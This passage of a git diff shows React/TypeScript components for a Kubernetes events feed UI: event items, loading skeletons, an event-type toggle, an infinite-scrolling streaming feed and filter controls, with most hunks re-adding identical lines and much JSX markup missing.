K8sEvent): string | undefined { + // For series events, lastObservedTime is the most recent occurrence + if (event.series?.lastObservedTime) { + return event.series.lastObservedTime; + } + // For single events, use eventTime (eventsv1) or fall back to deprecated/legacy fields + // Note: events.k8s.io/v1 uses "deprecatedFirstTimestamp" and "deprecatedLastTimestamp" + return ( + event.eventTime || + event.deprecatedLastTimestamp || + event.deprecatedFirstTimestamp || + event.lastTimestamp || + event.firstTimestamp + ); +} + +/** + * Format timestamp for display + */ +function formatTimestamp(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return formatDistanceToNow(date, { addSuffix: true }); + } catch { + return timestamp; + } +} + +/** + * Format timestamp for tooltip (human-friendly UTC format with timezone) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return format(date, "MMMM d, yyyy 'at' h:mm:ss a 'UTC'"); + } catch { + return timestamp; + } +} + + +/** + * EventFeedItem renders a single Kubernetes event in the feed + */ +export function EventFeedItem({ + event, + onEventClick, + onResourceClick, + isSelected = false, + className = '', + compact = false, + isNew = false, + defaultExpanded = false, +}: EventFeedItemProps) { + const [isExpanded, setIsExpanded] = useState(defaultExpanded); + const [isCopied, setIsCopied] = useState(false); + + // Use helper functions to handle both new and deprecated field names + const regarding = getRegarding(event); + const note = getNote(event); + const count = getCount(event); + const timestamp = getTimestamp(event); + const reportingController = getReportingController(event); + const { type, reason } = event; + + const handleClick = () => { + onEventClick?.(event); + }; + + const toggleExpand = (e: React.MouseEvent) => { + e.stopPropagation(); + setIsExpanded(!isExpanded); + }; + + const handleCopyResourceName = async (e: React.MouseEvent) => { + e.stopPropagation(); + if (regarding.name) { + try { + await navigator.clipboard.writeText(regarding.name); + setIsCopied(true); + setTimeout(() => setIsCopied(false), 2000); + } catch (err) { + console.error('Failed to copy resource name:', err); + } + } + }; + + const handleResourceClick = (e: React.MouseEvent) => { + e.stopPropagation(); + if (onResourceClick && regarding.name) { + onResourceClick({ + kind: regarding.kind || 'Unknown', + name: regarding.name, + namespace: regarding.namespace, + uid: regarding.uid, + }); + } + }; + + const isWarning = type === 'Warning'; + + return ( + + +
+ {/* Main Content */} +
+ {/* Header row: Type badge + Reason + Kind + Timestamp */} +
+ {/* Type badge */} + + {type || 'Unknown'} + + + {/* Reason */} + {reason && ( + + {reason} + + )} + + {/* Involved Kind */} + {regarding.kind && ( + + {regarding.kind} + + )} + + {/* Spacer to push timestamp to the right */} + + + {/* Timestamp with tooltip */} + + + + {formatTimestamp(timestamp)} + + + +

{formatTimestampFull(timestamp)}

+
+
+
+ + {/* Content row: Message + Object + Timestamp + Expand */} +
+ {/* Note with count - takes remaining space */} + {note && ( +

+ {note}{count && count > 1 && (x{count})} +

+ )} + + {/* Regarding Object with Tooltip and Copy Button */} +
+ + + + {regarding.name || 'Unknown'} + + + +

+ {regarding.namespace + ? `${regarding.kind || 'Unknown'} in namespace ${regarding.namespace}` + : regarding.kind || 'Unknown'} +

+
+
+ + + + + +

Click to copy

+
+
+
+ + {/* Expand button - larger and positioned at the end */} + +
+
+
+ + {/* Expanded Details */} + {isExpanded && } +
+
+ ); +} diff --git a/ui/src/components/EventFeedItemSkeleton.tsx b/ui/src/components/EventFeedItemSkeleton.tsx index 667e88d0..e95d5bdb 100644 --- a/ui/src/components/EventFeedItemSkeleton.tsx +++ b/ui/src/components/EventFeedItemSkeleton.tsx @@ -1,47 +1,47 @@ -import { Card } from './ui/card'; -import { Skeleton } from './ui/skeleton'; -import { cn } from '../lib/utils'; - -export interface EventFeedItemSkeletonProps { - /** Whether to show as compact (for resource detail tabs) */ - compact?: boolean; - /** Additional CSS class */ - className?: string; -} - -/** - * EventFeedItemSkeleton renders a loading placeholder that matches EventFeedItem layout - */ -export function EventFeedItemSkeleton({ - compact = false, - className = '', -}: EventFeedItemSkeletonProps) { - return ( - -
- {/* Main Content */} -
- {/* Single row layout: Message + Object + Timestamp + Expand */} -
- {/* Note skeleton - takes remaining space */} - - - {/* Regarding Object skeleton */} - - - {/* Timestamp skeleton */} - - - {/* Expand button skeleton */} - -
-
-
-
- ); -} +import { Card } from './ui/card'; +import { Skeleton } from './ui/skeleton'; +import { cn } from '../lib/utils'; + +export interface EventFeedItemSkeletonProps { + /** Whether to show as compact (for resource detail tabs) */ + compact?: boolean; + /** Additional CSS class */ + className?: string; +} + +/** + * EventFeedItemSkeleton renders a loading placeholder that matches EventFeedItem layout + */ +export function EventFeedItemSkeleton({ + compact = false, + className = '', +}: EventFeedItemSkeletonProps) { + return ( + +
+ {/* Main Content */} +
+ {/* Single row layout: Message + Object + Timestamp + Expand */} +
+ {/* Note skeleton - takes remaining space */} + + + {/* Regarding Object skeleton */} + + + {/* Timestamp skeleton */} + + + {/* Expand button skeleton */} + +
+
+
+
+ ); +} diff --git a/ui/src/components/EventTypeToggle.tsx b/ui/src/components/EventTypeToggle.tsx index 0da790d5..6961a9ec 100644 --- a/ui/src/components/EventTypeToggle.tsx +++ b/ui/src/components/EventTypeToggle.tsx @@ -1,76 +1,76 @@ -import { Button } from './ui/button'; -import { cn } from '../lib/utils'; -import type { K8sEventType } from '../types/k8s-event'; - -export type EventTypeOption = K8sEventType | 'all'; - -export interface EventTypeToggleProps { - /** Current selected value */ - value: EventTypeOption; - /** Handler called when selection changes */ - onChange: (value: EventTypeOption) => void; - /** Additional CSS class */ - className?: string; - /** Whether the toggle is disabled */ - disabled?: boolean; -} - -/** - * Options for the event type toggle - */ -const OPTIONS: { value: EventTypeOption; label: string; description: string }[] = [ - { - value: 'all', - label: 'All', - description: 'Show all events', - }, - { - value: 'Normal', - label: 'Normal', - description: 'Show only normal events', - }, - { - value: 'Warning', - label: 'Warning', - description: 'Show only warning events', - }, -]; - -/** - * EventTypeToggle provides a segmented control for filtering by event type - */ -export function EventTypeToggle({ - value, - onChange, - className = '', - disabled = false, -}: EventTypeToggleProps) { - return ( -
- {OPTIONS.map((option, index) => ( - - ))} -
- ); -} +import { Button } from './ui/button'; +import { cn } from '../lib/utils'; +import type { K8sEventType } from '../types/k8s-event'; + +export type EventTypeOption = K8sEventType | 'all'; + +export interface EventTypeToggleProps { + /** Current selected value */ + value: EventTypeOption; + /** Handler called when selection changes */ + onChange: (value: EventTypeOption) => void; + /** Additional CSS class */ + className?: string; + /** Whether the toggle is disabled */ + disabled?: boolean; +} + +/** + * Options for the event type toggle + */ +const OPTIONS: { value: EventTypeOption; label: string; description: string }[] = [ + { + value: 'all', + label: 'All', + description: 'Show all events', + }, + { + value: 'Normal', + label: 'Normal', + description: 'Show only normal events', + }, + { + value: 'Warning', + label: 'Warning', + description: 'Show only warning events', + }, +]; + +/** + * EventTypeToggle provides a segmented control for filtering by event type + */ +export function EventTypeToggle({ + value, + onChange, + className = '', + disabled = false, +}: EventTypeToggleProps) { + return ( +
+ {OPTIONS.map((option, index) => ( + + ))} +
+ ); +} diff --git a/ui/src/components/EventsFeed.tsx b/ui/src/components/EventsFeed.tsx index 32f5249c..113d55d0 100644 --- a/ui/src/components/EventsFeed.tsx +++ b/ui/src/components/EventsFeed.tsx @@ -1,315 +1,315 @@ -import { useEffect, useRef, useCallback } from 'react'; -import type { K8sEvent } from '../types/k8s-event'; -import type { EffectiveTimeRangeCallback, ErrorFormatter } from '../types/activity'; -import type { - EventsFeedFilters as FilterState, - TimeRange, -} from '../hooks/useEventsFeed'; -import { useEventsFeed } from '../hooks/useEventsFeed'; -import { EventFeedItem } from './EventFeedItem'; -import { EventFeedItemSkeleton } from './EventFeedItemSkeleton'; -import { EventsFeedFilters } from './EventsFeedFilters'; -import { ActivityApiClient } from '../api/client'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { Badge } from './ui/badge'; -import { ApiErrorAlert } from './ApiErrorAlert'; - -export interface EventsFeedProps { - /** API client instance */ - client: ActivityApiClient; - /** Initial filter settings */ - initialFilters?: FilterState; - /** Initial time range */ - initialTimeRange?: TimeRange; - /** Number of items per page */ - pageSize?: number; - /** Handler called when an event is clicked */ - onEventClick?: (event: K8sEvent) => void; - /** Handler called when a resource name is clicked. If provided, resource names become clickable. */ - onResourceClick?: (resource: { - kind: string; - name: string; - namespace?: string; - uid?: string; - }) => void; - /** Whether to show in compact mode (for resource detail tabs) */ - compact?: boolean; - /** Filter to a specific namespace */ - namespace?: string; - /** Whether to show filters */ - showFilters?: boolean; - /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ - hiddenFilters?: Array<'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName' | 'eventType'>; - /** Additional CSS class */ - className?: string; - /** Enable infinite scroll (default: true) */ - infiniteScroll?: boolean; - /** Threshold in pixels for triggering load more (default: 200) */ - loadMoreThreshold?: number; - /** Enable real-time streaming (default: false) */ - enableStreaming?: boolean; - /** Callback invoked when the effective time range is resolved */ - onEffectiveTimeRangeChange?: EffectiveTimeRangeCallback; - /** Custom error formatter for customizing error messages */ - errorFormatter?: ErrorFormatter; - /** Callback invoked when filters or time range change (useful for URL state management) */ - onFiltersChange?: (filters: FilterState, timeRange: TimeRange) => void; -} - -/** - * EventsFeed displays a chronological list of Kubernetes events with filtering and pagination. - * Supports optional real-time streaming of new events. - */ -export function EventsFeed({ - client, - initialFilters = {}, - initialTimeRange = { start: 'now-24h' }, - pageSize = 50, - onEventClick, - onResourceClick, - compact = false, - namespace, - showFilters = true, - hiddenFilters = [], - className = '', - infiniteScroll = true, - loadMoreThreshold = 200, - enableStreaming = false, - onEffectiveTimeRangeChange, - errorFormatter, - onFiltersChange: onFiltersChangeProp, -}: EventsFeedProps) { - // Merge namespace into initial filters if provided - const mergedInitialFilters: FilterState = { - ...initialFilters, - }; - - const { - events, - isLoading, - isRefreshing, - error, - hasMore, - filters, - timeRange, - refresh, - loadMore, - setFilters, - setTimeRange, - isStreaming, - startStreaming, - stopStreaming, - newEventsCount, - } = useEventsFeed({ - client, - initialFilters: mergedInitialFilters, - initialTimeRange, - pageSize, - namespace, - enableStreaming, - autoStartStreaming: true, - }); - - const scrollContainerRef = useRef(null); - const loadMoreTriggerRef = useRef(null); - // Store the latest loadMore function in a ref to avoid observer re-subscription - const loadMoreRef = useRef(loadMore); - - // Auto-execute on mount - useEffect(() => { - refresh(); - }, []); // eslint-disable-line react-hooks/exhaustive-deps - - // Update the ref whenever loadMore changes - useEffect(() => { - loadMoreRef.current = loadMore; - }, [loadMore]); - - // Infinite scroll using Intersection Observer - useEffect(() => { - if (!infiniteScroll || !loadMoreTriggerRef.current) return; - - const observer = new IntersectionObserver( - (entries) => { - const entry = entries[0]; - if (entry.isIntersecting && hasMore && !isLoading) { - // Call through the ref to always use the latest function - loadMoreRef.current(); - } - }, - { - root: scrollContainerRef.current, - rootMargin: `${loadMoreThreshold}px`, - threshold: 0, - } - ); - - observer.observe(loadMoreTriggerRef.current); - - return () => { - observer.disconnect(); - }; - }, [infiniteScroll, hasMore, isLoading, loadMoreThreshold]); - - // Handle filter changes - refresh is automatic via the hook - const handleFiltersChange = useCallback( - (newFilters: FilterState) => { - setFilters(newFilters); - onFiltersChangeProp?.(newFilters, timeRange); - }, - [setFilters, onFiltersChangeProp, timeRange] - ); - - // Handle time range changes - refresh is automatic via the hook - const handleTimeRangeChange = useCallback( - (newTimeRange: TimeRange) => { - setTimeRange(newTimeRange); - onFiltersChangeProp?.(filters, newTimeRange); - }, - [setTimeRange, onFiltersChangeProp, filters] - ); - - // Handle manual load more click - const handleLoadMoreClick = useCallback(() => { - loadMore(); - }, [loadMore]); - - // Handle streaming toggle - const handleStreamingToggle = useCallback(() => { - if (isStreaming) { - stopStreaming(); - } else { - startStreaming(); - } - }, [isStreaming, startStreaming, stopStreaming]); - - // Build container classes - use flex layout to properly fill available space - // flex-1 min-h-0 allows the Card to fill parent flex container and enable child scrolling - const containerClasses = compact - ? `flex-1 min-h-0 flex flex-col p-2 shadow-none border-border ${className}` - : `flex-1 min-h-0 flex flex-col p-3 ${className}`; - - // Build list classes - use flex-1 min-h-0 for flex-based scrolling - const listClasses = 'flex-1 min-h-0 overflow-y-auto pr-2'; - - return ( - - {/* Header with streaming status */} - {enableStreaming && ( -
-
- {isStreaming && ( -
- - - - - Streaming events... -
- )} - {newEventsCount > 0 && ( - - +{newEventsCount} new - - )} -
- -
- )} - - {/* Filters */} - {showFilters && ( - - )} - - {/* Error Display */} - - - {/* Event List */} -
- {/* Skeleton Loading State - show when loading/refreshing and no items yet */} - {(isLoading || isRefreshing) && events.length === 0 && ( - <> - {Array.from({ length: 8 }).map((_, index) => ( - - ))} - - )} - - {/* Empty State - only show when not loading/refreshing */} - {!isLoading && !isRefreshing && events.length === 0 && ( -
-

No events found

-

- Try adjusting your filters or time range -

-
- )} - - {events.map((event, index) => ( - - ))} - - {/* Load More Trigger for Infinite Scroll */} - {infiniteScroll && hasMore && ( -
- )} - - {/* Load More Button (when infinite scroll is disabled) */} - {!infiniteScroll && hasMore && !isLoading && ( -
- -
- )} - - {/* End of Results */} - {!hasMore && events.length > 0 && !isLoading && ( -
- No more events to load -
- )} -
- - ); -} +import { useEffect, useRef, useCallback } from 'react'; +import type { K8sEvent } from '../types/k8s-event'; +import type { EffectiveTimeRangeCallback, ErrorFormatter } from '../types/activity'; +import type { + EventsFeedFilters as FilterState, + TimeRange, +} from '../hooks/useEventsFeed'; +import { useEventsFeed } from '../hooks/useEventsFeed'; +import { EventFeedItem } from './EventFeedItem'; +import { EventFeedItemSkeleton } from './EventFeedItemSkeleton'; +import { EventsFeedFilters } from './EventsFeedFilters'; +import { ActivityApiClient } from '../api/client'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { Badge } from './ui/badge'; +import { ApiErrorAlert } from './ApiErrorAlert'; + +export interface EventsFeedProps { + /** API client instance */ + client: ActivityApiClient; + /** Initial filter settings */ + initialFilters?: FilterState; + /** Initial time range */ + initialTimeRange?: TimeRange; + /** Number of items per page */ + pageSize?: number; + /** Handler called when an event is clicked */ + onEventClick?: (event: K8sEvent) => void; + /** Handler called when a resource name is clicked. If provided, resource names become clickable. */ + onResourceClick?: (resource: { + kind: string; + name: string; + namespace?: string; + uid?: string; + }) => void; + /** Whether to show in compact mode (for resource detail tabs) */ + compact?: boolean; + /** Filter to a specific namespace */ + namespace?: string; + /** Whether to show filters */ + showFilters?: boolean; + /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ + hiddenFilters?: Array<'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName' | 'eventType'>; + /** Additional CSS class */ + className?: string; + /** Enable infinite scroll (default: true) */ + infiniteScroll?: boolean; + /** Threshold in pixels for triggering load more (default: 200) */ + loadMoreThreshold?: number; + /** Enable real-time streaming (default: false) */ + enableStreaming?: boolean; + /** Callback invoked when the effective time range is resolved */ + onEffectiveTimeRangeChange?: EffectiveTimeRangeCallback; + /** Custom error formatter for customizing error messages */ + errorFormatter?: ErrorFormatter; + /** Callback invoked when filters or time range change (useful for URL state management) */ + onFiltersChange?: (filters: FilterState, timeRange: TimeRange) => void; +} + +/** + * EventsFeed displays a chronological list of Kubernetes events with filtering and pagination. + * Supports optional real-time streaming of new events. + */ +export function EventsFeed({ + client, + initialFilters = {}, + initialTimeRange = { start: 'now-24h' }, + pageSize = 50, + onEventClick, + onResourceClick, + compact = false, + namespace, + showFilters = true, + hiddenFilters = [], + className = '', + infiniteScroll = true, + loadMoreThreshold = 200, + enableStreaming = false, + onEffectiveTimeRangeChange, + errorFormatter, + onFiltersChange: onFiltersChangeProp, +}: EventsFeedProps) { + // Merge namespace into initial filters if provided + const mergedInitialFilters: FilterState = { + ...initialFilters, + }; + + const { + events, + isLoading, + isRefreshing, + error, + hasMore, + filters, + timeRange, + refresh, + loadMore, + setFilters, + setTimeRange, + isStreaming, + startStreaming, + stopStreaming, + newEventsCount, + } = useEventsFeed({ + client, + initialFilters: mergedInitialFilters, + initialTimeRange, + pageSize, + namespace, + enableStreaming, + autoStartStreaming: true, + }); + + const scrollContainerRef = useRef(null); + const loadMoreTriggerRef = useRef(null); + // Store the latest loadMore function in a ref to avoid observer re-subscription + const loadMoreRef = useRef(loadMore); + + // Auto-execute on mount + useEffect(() => { + refresh(); + }, []); // eslint-disable-line react-hooks/exhaustive-deps + + // Update the ref whenever loadMore changes + useEffect(() => { + loadMoreRef.current = loadMore; + }, [loadMore]); + + // Infinite scroll using Intersection Observer + useEffect(() => { + if (!infiniteScroll || !loadMoreTriggerRef.current) return; + + const observer = new IntersectionObserver( + (entries) => { + const entry = entries[0]; + if (entry.isIntersecting && hasMore && !isLoading) { + // Call through the ref to always use the latest function + loadMoreRef.current(); + } + }, + { + root: scrollContainerRef.current, + rootMargin: `${loadMoreThreshold}px`, + threshold: 0, + } + ); + + observer.observe(loadMoreTriggerRef.current); + + return () => { + observer.disconnect(); + }; + }, [infiniteScroll, hasMore, isLoading, loadMoreThreshold]); + + // Handle filter changes - refresh is automatic via the hook + const handleFiltersChange = useCallback( + (newFilters: FilterState) => { + setFilters(newFilters); + onFiltersChangeProp?.(newFilters, timeRange); + }, + [setFilters, onFiltersChangeProp, timeRange] + ); + + // Handle time range changes - refresh is automatic via the hook + const handleTimeRangeChange = useCallback( + (newTimeRange: TimeRange) => { + setTimeRange(newTimeRange); + onFiltersChangeProp?.(filters, newTimeRange); + }, + [setTimeRange, onFiltersChangeProp, filters] + ); + + // Handle manual load more click + const handleLoadMoreClick = useCallback(() => { + loadMore(); + }, [loadMore]); + + // Handle streaming toggle + const handleStreamingToggle = useCallback(() => { + if (isStreaming) { + stopStreaming(); + } else { + startStreaming(); + } + }, [isStreaming, startStreaming, stopStreaming]); + + // Build container classes - use flex layout to properly fill available space + // flex-1 min-h-0 allows the Card to fill parent flex container and enable child scrolling + const containerClasses = compact + ? `flex-1 min-h-0 flex flex-col p-2 shadow-none border-border ${className}` + : `flex-1 min-h-0 flex flex-col p-3 ${className}`; + + // Build list classes - use flex-1 min-h-0 for flex-based scrolling + const listClasses = 'flex-1 min-h-0 overflow-y-auto pr-2'; + + return ( + + {/* Header with streaming status */} + {enableStreaming && ( +
+
+ {isStreaming && ( +
+ + + + + Streaming events... +
+ )} + {newEventsCount > 0 && ( + + +{newEventsCount} new + + )} +
+ +
+ )} + + {/* Filters */} + {showFilters && ( + + )} + + {/* Error Display */} + + + {/* Event List */} +
+ {/* Skeleton Loading State - show when loading/refreshing and no items yet */} + {(isLoading || isRefreshing) && events.length === 0 && ( + <> + {Array.from({ length: 8 }).map((_, index) => ( + + ))} + + )} + + {/* Empty State - only show when not loading/refreshing */} + {!isLoading && !isRefreshing && events.length === 0 && ( +
+

No events found

+

+ Try adjusting your filters or time range +

+
+ )} + + {events.map((event, index) => ( + + ))} + + {/* Load More Trigger for Infinite Scroll */} + {infiniteScroll && hasMore && ( +
+ )} + + {/* Load More Button (when infinite scroll is disabled) */} + {!infiniteScroll && hasMore && !isLoading && ( +
+ +
+ )} + + {/* End of Results */} + {!hasMore && events.length > 0 && !isLoading && ( +
+ No more events to load +
+ )} +
+ + ); +} diff --git a/ui/src/components/EventsFeedFilters.tsx b/ui/src/components/EventsFeedFilters.tsx index 724e0fd5..fbf085d4 100644 --- a/ui/src/components/EventsFeedFilters.tsx +++ b/ui/src/components/EventsFeedFilters.tsx @@ -1,410 +1,410 @@ -import { useState, useCallback, useEffect } from 'react'; -import { formatISO, subDays } from 'date-fns'; -import { Search } from 'lucide-react'; - -import type { EventsFeedFilters as FilterState } from '../hooks/useEventsFeed'; -import type { TimeRange } from '../hooks/useEventsFeed'; -import type { ActivityApiClient } from '../api/client'; -import { useEventFacets } from '../hooks/useEventFacets'; -import { EventTypeToggle, EventTypeOption } from './EventTypeToggle'; -import { TimeRangeDropdown } from './ui/time-range-dropdown'; -import { FilterChip } from './ui/filter-chip'; -import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; -import { Input } from './ui/input'; - -export interface EventsFeedFiltersProps { - /** API client instance for fetching facets */ - client: ActivityApiClient; - /** Current filter state */ - filters: FilterState; - /** Current time range */ - timeRange: TimeRange; - /** Handler called when filters change */ - onFiltersChange: (filters: FilterState) => void; - /** Handler called when time range changes */ - onTimeRangeChange: (timeRange: TimeRange) => void; - /** Whether the filters are disabled (e.g., during loading) */ - disabled?: boolean; - /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ - hiddenFilters?: Array<'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName' | 'eventType'>; - /** Additional CSS class */ - className?: string; - /** Namespace filter (when scoped to a specific namespace) */ - namespace?: string; -} - -/** - * Preset time ranges - */ -const TIME_PRESETS = [ - { key: 'now-1h', label: 'Last hour' }, - { key: 'now-6h', label: 'Last 6 hours' }, - { key: 'now-24h', label: 'Last 24 hours' }, - { key: 'now-7d', label: 'Last 7 days' }, - { key: 'now-30d', label: 'Last 30 days' }, -]; - -/** - * Filter configuration registry - */ -type FilterId = 'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName'; - -interface FilterConfig { - id: FilterId; - label: string; - inputMode: 'typeahead' | 'text'; - placeholder?: string; - searchPlaceholder?: string; -} - -const FILTER_CONFIGS: Record = { - involvedKinds: { - id: 'involvedKinds', - label: 'Kind', - inputMode: 'typeahead', - searchPlaceholder: 'Search kinds...', - }, - reasons: { - id: 'reasons', - label: 'Reason', - inputMode: 'typeahead', - searchPlaceholder: 'Search reasons...', - }, - namespaces: { - id: 'namespaces', - label: 'Namespace', - inputMode: 'typeahead', - searchPlaceholder: 'Search namespaces...', - }, - sourceComponents: { - id: 'sourceComponents', - label: 'Source', - inputMode: 'typeahead', - searchPlaceholder: 'Search sources...', - }, - involvedName: { - id: 'involvedName', - label: 'Resource Name', - inputMode: 'text', - placeholder: 'Enter resource name...', - }, -}; - -/** - * Helper function to convert ISO string to datetime-local format - */ -const formatDatetimeLocal = (isoString: string): string => { - const date = new Date(isoString); - const year = date.getFullYear(); - const month = String(date.getMonth() + 1).padStart(2, '0'); - const day = String(date.getDate()).padStart(2, '0'); - const hours = String(date.getHours()).padStart(2, '0'); - const minutes = String(date.getMinutes()).padStart(2, '0'); - return `${year}-${month}-${day}T${hours}:${minutes}`; -}; - -/** - * Check if the current time range matches a preset - */ -const getSelectedPreset = (timeRange: TimeRange): string => { - const preset = TIME_PRESETS.find((p) => timeRange.start === p.key); - return preset ? preset.key : 'custom'; -}; - -/** - * EventsFeedFilters provides filter controls for the events feed - */ -export function EventsFeedFilters({ - client, - filters, - timeRange, - onFiltersChange, - onTimeRangeChange, - disabled = false, - hiddenFilters = [], - className = '', - namespace, -}: EventsFeedFiltersProps) { - const { involvedKinds, reasons, namespaces, sourceComponents, error: facetsError } = useEventFacets(client, timeRange, filters); - - // Log facets error for debugging - if (facetsError) { - console.error('Failed to load event facets:', facetsError); - } - - // Track which filter was just added to auto-open it - const [pendingFilter, setPendingFilter] = useState(null); - - // Custom time range state - const selectedPreset = getSelectedPreset(timeRange); - const [customStart, setCustomStart] = useState(() => { - if (selectedPreset === 'custom') { - return formatDatetimeLocal(timeRange.start); - } - return formatDatetimeLocal(formatISO(subDays(new Date(), 1))); - }); - const [customEnd, setCustomEnd] = useState(() => { - if (selectedPreset === 'custom' && timeRange.end) { - return formatDatetimeLocal(timeRange.end); - } - return formatDatetimeLocal(formatISO(new Date())); - }); - - // Handle event type change - const handleEventTypeChange = useCallback( - (value: EventTypeOption) => { - onFiltersChange({ - ...filters, - eventType: value === 'all' ? undefined : value, - }); - }, - [filters, onFiltersChange] - ); - - // Handle time range preset selection - const handleTimePresetSelect = useCallback( - (presetKey: string) => { - onTimeRangeChange({ - start: presetKey, - end: undefined, - }); - }, - [onTimeRangeChange] - ); - - // Handle custom time range apply - const handleCustomRangeApply = useCallback( - (start: string, end: string) => { - setCustomStart(start); - setCustomEnd(end); - onTimeRangeChange({ - start: new Date(start).toISOString(), - end: new Date(end).toISOString(), - }); - }, - [onTimeRangeChange] - ); - - // Get display label for time range - const getTimeRangeLabel = () => { - const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); - if (preset) return preset.label; - if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { - const start = new Date(timeRange.start); - const end = new Date(timeRange.end); - return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; - } - return 'Select time range'; - }; - - // Get current event type value for toggle - const eventTypeValue: EventTypeOption = filters.eventType || 'all'; - - // Determine which filters are currently active (have values) and not hidden - const filtersWithValues: FilterId[] = []; - if (filters.involvedKinds && filters.involvedKinds.length > 0 && !hiddenFilters.includes('involvedKinds')) filtersWithValues.push('involvedKinds'); - if (filters.reasons && filters.reasons.length > 0 && !hiddenFilters.includes('reasons')) filtersWithValues.push('reasons'); - if (!namespace && filters.namespaces && filters.namespaces.length > 0 && !hiddenFilters.includes('namespaces')) filtersWithValues.push('namespaces'); - if (filters.sourceComponents && filters.sourceComponents.length > 0 && !hiddenFilters.includes('sourceComponents')) filtersWithValues.push('sourceComponents'); - if (filters.involvedName && !hiddenFilters.includes('involvedName')) filtersWithValues.push('involvedName'); - - // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters - const activeFilterIds: FilterId[] = pendingFilter && !filtersWithValues.includes(pendingFilter) - ? [...filtersWithValues, pendingFilter] - : filtersWithValues; - - // Clear pending filter when filter values change (user selected something) - useEffect(() => { - if (pendingFilter && filtersWithValues.includes(pendingFilter)) { - // Filter now has values, clear pending state - setPendingFilter(null); - } - }, [pendingFilter, filtersWithValues]); - - // Build available filters list (exclude namespace if scoped, exclude hidden filters) - const availableFilters: FilterOption[] = [ - { id: 'involvedKinds', label: 'Kind' }, - { id: 'reasons', label: 'Reason' }, - ...(namespace ? [] : [{ id: 'namespaces' as const, label: 'Namespace' }]), - { id: 'sourceComponents', label: 'Source' }, - { id: 'involvedName', label: 'Resource Name' }, - ].filter((filter) => !hiddenFilters.includes(filter.id as FilterId)); - - // Handle adding a filter - const handleAddFilter = useCallback((filterId: string) => { - setPendingFilter(filterId as FilterId); - }, []); - - // Handle popover close - clear pending filter if no values were selected - const handlePopoverClose = useCallback( - (filterId: FilterId) => { - if (pendingFilter === filterId) { - const hasValues = (() => { - const value = filters[filterId]; - if (filterId === 'involvedName') return !!value; - return Array.isArray(value) && value.length > 0; - })(); - if (!hasValues) { - setPendingFilter(null); - } - } - }, - [pendingFilter, filters] - ); - - // Handle filter value changes - const handleFilterChange = useCallback( - (filterId: FilterId, values: string[]) => { - onFiltersChange({ - ...filters, - [filterId]: values.length > 0 ? values : undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Handle filter clear - const handleFilterClear = useCallback( - (filterId: FilterId) => { - onFiltersChange({ - ...filters, - [filterId]: undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Get options for a specific filter - const getFilterOptions = (filterId: FilterId) => { - switch (filterId) { - case 'involvedKinds': - return involvedKinds - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'reasons': - return reasons - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'namespaces': - return namespaces - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'sourceComponents': - return sourceComponents - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - default: - return []; - } - }; - - // Get values for a specific filter - const getFilterValues = (filterId: FilterId): string[] => { - const value = filters[filterId]; - if (filterId === 'involvedName') { - return value ? [value as string] : []; - } - return (value as string[] | undefined) || []; - }; - - // Handle search input change with debouncing - const handleSearchChange = useCallback( - (event: React.ChangeEvent) => { - const value = event.target.value; - onFiltersChange({ - ...filters, - search: value || undefined, - }); - }, - [filters, onFiltersChange] - ); - - return ( -
-
- {/* Event Type Toggle */} - {!hiddenFilters.includes('eventType') && ( - - )} - - {/* Search Input */} -
- - -
- - {/* Active Filter Chips */} - {activeFilterIds.map((filterId) => { - const config = FILTER_CONFIGS[filterId]; - return ( - handleFilterChange(filterId, values)} - onClear={() => handleFilterClear(filterId)} - onPopoverClose={() => handlePopoverClose(filterId)} - inputMode={config.inputMode} - placeholder={config.placeholder} - searchPlaceholder={config.searchPlaceholder} - autoOpen={pendingFilter === filterId} - disabled={disabled} - /> - ); - })} - - {/* Add Filter Dropdown */} - 0} - disabled={disabled} - /> - - {/* Spacer */} -
- - {/* Time Range Dropdown */} - -
-
- ); -} +import { useState, useCallback, useEffect } from 'react'; +import { formatISO, subDays } from 'date-fns'; +import { Search } from 'lucide-react'; + +import type { EventsFeedFilters as FilterState } from '../hooks/useEventsFeed'; +import type { TimeRange } from '../hooks/useEventsFeed'; +import type { ActivityApiClient } from '../api/client'; +import { useEventFacets } from '../hooks/useEventFacets'; +import { EventTypeToggle, EventTypeOption } from './EventTypeToggle'; +import { TimeRangeDropdown } from './ui/time-range-dropdown'; +import { FilterChip } from './ui/filter-chip'; +import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; +import { Input } from './ui/input'; + +export interface EventsFeedFiltersProps { + /** API client instance for fetching facets */ + client: ActivityApiClient; + /** Current filter state */ + filters: FilterState; + /** Current time range */ + timeRange: TimeRange; + /** Handler called when filters change */ + onFiltersChange: (filters: FilterState) => void; + /** Handler called when time range changes */ + onTimeRangeChange: (timeRange: TimeRange) => void; + /** Whether the filters are disabled (e.g., during loading) */ + disabled?: boolean; + /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ + hiddenFilters?: Array<'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName' | 'eventType'>; + /** Additional CSS class */ + className?: string; + /** Namespace filter (when scoped to a specific namespace) */ + namespace?: string; +} + 